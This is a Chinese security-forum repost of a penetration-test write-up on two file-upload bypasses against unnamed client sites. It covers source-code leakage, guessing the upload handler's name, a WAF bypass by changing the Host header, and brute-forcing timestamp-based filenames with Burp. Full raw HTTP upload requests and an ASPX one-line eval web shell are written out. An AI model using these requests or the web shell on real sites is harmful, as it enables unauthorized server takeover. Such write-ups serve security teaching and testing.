安全矩阵

 找回密码
 立即注册
搜索
查看: 682|回复: 0

实战 | 一次运气很好的文件上传绕过

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2023-6-4 22:24:02 | 显示全部楼层 |阅读模式
本帖最后由 luozhenni 于 2023-6-4 22:23 编辑

实战 | 一次运气很好的文件上传绕过                                               

原文链接:实战 | 一次运气很好的文件上传绕过
Icepaper                迪哥讲事        2023-06-04 12:00 发表于江苏  

某天客户丢来了两个站点,白天摸鱼日站,发现日不动。晚上做梦还想着它,明天要怎么交差,于是在梦里发生了这次渗透。
站点1:文件上传

发现源代码泄露打开自己珍藏已久的辣鸡字典,扫描发现存在bin.zip信息泄露,尝试进行代码审计文件位置:SimpleDataPlatform.SimpleDataPlatform.fileUpload找到ProccessRequest接收请求,可以看到获取了一堆参数后(初始化),后进入了HandleFiles方法,



跟进HandleFiles进行处理,如果dateType=ZBJHSB时,就继续处理请求,dateType为GET传参



路径为/Uploads/SetData/ZBJHSB,str名称为时间戳,且str2(后缀)没有进行限制就进行保存,



OK,这应该是一个妥妥的任意文件上传了,只要有返回值,那么这个站就没了。但是很不凑巧的是,他没有返回值。由于方法fileUpload,瞎猜文件名为
  1. fileUpload.aspx
  2. fileUpload.ashx
  3. fileUpload.asmx
  4. fileUploads.aspx
  5. fileUploads.asmx
  6. fileUploads.ashx
  7. Upload.....等
复制代码
加上自己现有的字典爆破了一波,成功找到了返回了200的文件名http://xxx.com:6039/FileUploads.ashx直接构造上传表单,这里Form里的name字段应该是没有具体设置的(代码里没有找到),发包后返回200,可能真的传上去了吧?
  1. POST /FileUploads.ashx?DataType=ZBJHSB HTTP/1.1
  2. Host: xxx.cn:6039
  3. Content-Length: 195
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
  5. X-Requested-With: XMLHttpRequest
  6. Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySVkAJfiOUeRxhsu8
  7. Accept: */*
  8. Connection: close

  9. ------WebKitFormBoundarySVkAJfiOUeRxhsu8
  10. Content-Disposition: form-data; name="File"; filename="1.aspx"
  11. Content-Type: image/jpeg

  12. 11111111111
  13. ------WebKitFormBoundarySVkAJfiOUeRxhsu8--
复制代码


之前我们看到使用的格式为yyyyMMddHHmmssfff作为文件名,然后直接截取后缀作为ext,而且我们有了具体的路径,那么只需要爆破时间戳文件名即可拿下该站点,以前还没有这么做过,不妨试试。
爆破时间戳

使用Powershell生成时间戳,然后此时在Burp按下go发送请求包
powershell -c Get-Date -Format yyyyMMddHHmmssfff


再爆破后面5位数字,也就是ssfff(由于电脑上的时间不一定准,有时候甚至可能要爆破6位)不知道等了多久



运气真好,后面的就不多说了。
站点2:文件上传

找到上传接口打开网站http://xxxx:880/zwwpt/#/就发现存在一个webpack debug模式未关闭,查看JS发现上传接口



http://xxxxxx:880/zwwpt/data/menuData.json发现了一个隐藏的html页面,这个页面在前端的功能点是点不到的。


http://xxxxxx:880/jtwxt/xgjt/security_risk.html点击附件上传抓包




发现存在waf,当拦截住waf的时候,会返回404,大概数据包就是这样(省略了一些其他的无用参数)
  1. POST /jtwpt/Ashxs/BaseInfoTransfer.ashx HTTP/1.1
  2. Host: xxxxx.cn:880
  3. Cookie: Hm_lvt_a8b89d1c622d63c547c83ec412cc50ef=1631849663; Hm_lvt_69968305fa176c802589452987ebddc8=1631858810
  4. Connection: close

  5. ------WebKitFormBoundary7PCqG5iQ5vwLZ6AB
  6. Content-Disposition: form-data; name="uploadfile[]"; filename="1.aspx"
  7. Content-Type: image/jpeg

  8. <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>

  9. ------WebKitFormBoundary7PCqG5iQ5vwLZ6AB--
复制代码

绕过
修改HOST:xxxx.cn:880为xxxx.cn或xxx.cn:8888(不为880端口应该都可以)
  1. POST /jtwpt/Ashxs/BaseInfoTransfer.ashx HTTP/1.1
  2. Host: xxxxx.cn
  3. Cookie: Hm_lvt_a8b89d1c622d63c547c83ec412cc50ef=1631849663; Hm_lvt_69968305fa176c802589452987ebddc8=1631858810
  4. Connection: close

  5. ------WebKitFormBoundary7PCqG5iQ5vwLZ6AB
  6. Content-Disposition: form-data; name="uploadfile[]"; filename="1.aspx
  7. Content-Type: image/jpeg

  8. 1111
  9. ------WebKitFormBoundary7PCqG5iQ5vwLZ6AB--
复制代码
成功饶过waf,上传成功,但是没有返回路径




寻找路径
但是之前爆破目录找到了/uploads/目录和/image/目录






而且发现html名为security_risk.html,构造路径securityrisk、security_risk、security等,然后跑了一下目录最终发现存在:http://xxx.cn:880/uploads/securityrisk/ 这个目录



猜测可能上传的文件很有可能在该目录下,不然没必要起这么像的名字吧,而且还叫upload,于是尝试直接访问刚刚的文件名1.txt,返回是404

http://xxx.cn:880/uploads/securityrisk/1.txt



爆破时间戳

根据自己微不足道的经验,dot.net架构的网站喜欢使用时间戳来命名,因此构造当前时间戳,尝试爆破上传时间附近的时间点的时间戳值。时间戳一般为10位或者13位



文件上传后强制转换的文件名命名规律一般有
1、随机字符串

  1. xxx-xxx-xxx--xxx.jpg 格式这种类型我们没法猜,如果没目录遍历或者返回路径
  2. 那么基本上只能放弃
复制代码
2、时间戳类型
  1. 直接以时间戳+.jpg为文件名(如1631868676.jpg)
  2. 时间戳+00001
  3. 时间戳+0001
  4. 时间戳+001
  5. 时间戳+01
  6. 时间戳
复制代码
3、yymmddHHmm类型

这种类型一般以20210917xxxxx这种格式,xxxx应该为毫秒级别的数字,我们可以直接使用Burp进行爆破跑,4——6位还是可能跑的出来的,再多就跑不出来了。

powershell -c Get-Date -Format  yyyyMMddHHmm



  1. yyyyMMddHHmmssfff
  2. yyyyMMddHHmmssfff+00001
  3. yyyyMMddHHmmssfff+0001
  4. yyyyMMddHHmmssfff+001
  5. yyyyMMddHHmmssfff+01
  6. yyyyMMddHHmmssfff

  7. yyyyMMddHHmmss
  8. yyyyMMddHHmmss+00001
  9. yyyyMMddHHmmss+0001
  10. yyyyMMddHHmmss+001
  11. yyyyMMddHHmmss+01
  12. yyyyMMddHHmmss
复制代码
整理好了思路我们就开始爆破吧,我们只需选择在Burp发包时记住当前时间,然后获取当前时间戳,然后使用Burp intruder爆破来跑,一个一个的整理过去,大概需要重复操作15次,每次我就选择最后5位数字来进行爆破(只要网站不挂,不疏漏每一种类型应该是没什么问题的)


经过大量爆破后,发现了上传的文本文件,格式内容为yyyyMMddHHmmss+0001成功找到路径后,后面的就无需多言了但是这种方法还是比较靠运气的,因为很有可能当前服务器的时间和目标网站的时间不一致,比如差个几个小时,甚至差个几天这种情况。如果为yyyyMMddHHmmssfff的情况,那基本是没办法了,自认倒霉如果是yyyyMMddHHmmss的情况,那么爆破6位数字,还是可能爆破出来的。至此,两个站都拿到了权限,梦醒了。来源:先知社区
福利视频
笔者自己录制的一套php视频教程(适合0基础的),感兴趣的童鞋可以看看,基础视频总共约200多集,目前已经录制完毕,后续还有更多视频出品https://space.bilibili.com/17754 ... sdetail?sid=2949374
技术交流

技术交流请加笔者微信:richardo1o1 (暗号:growing)




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 16:48 , Processed in 0.012834 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表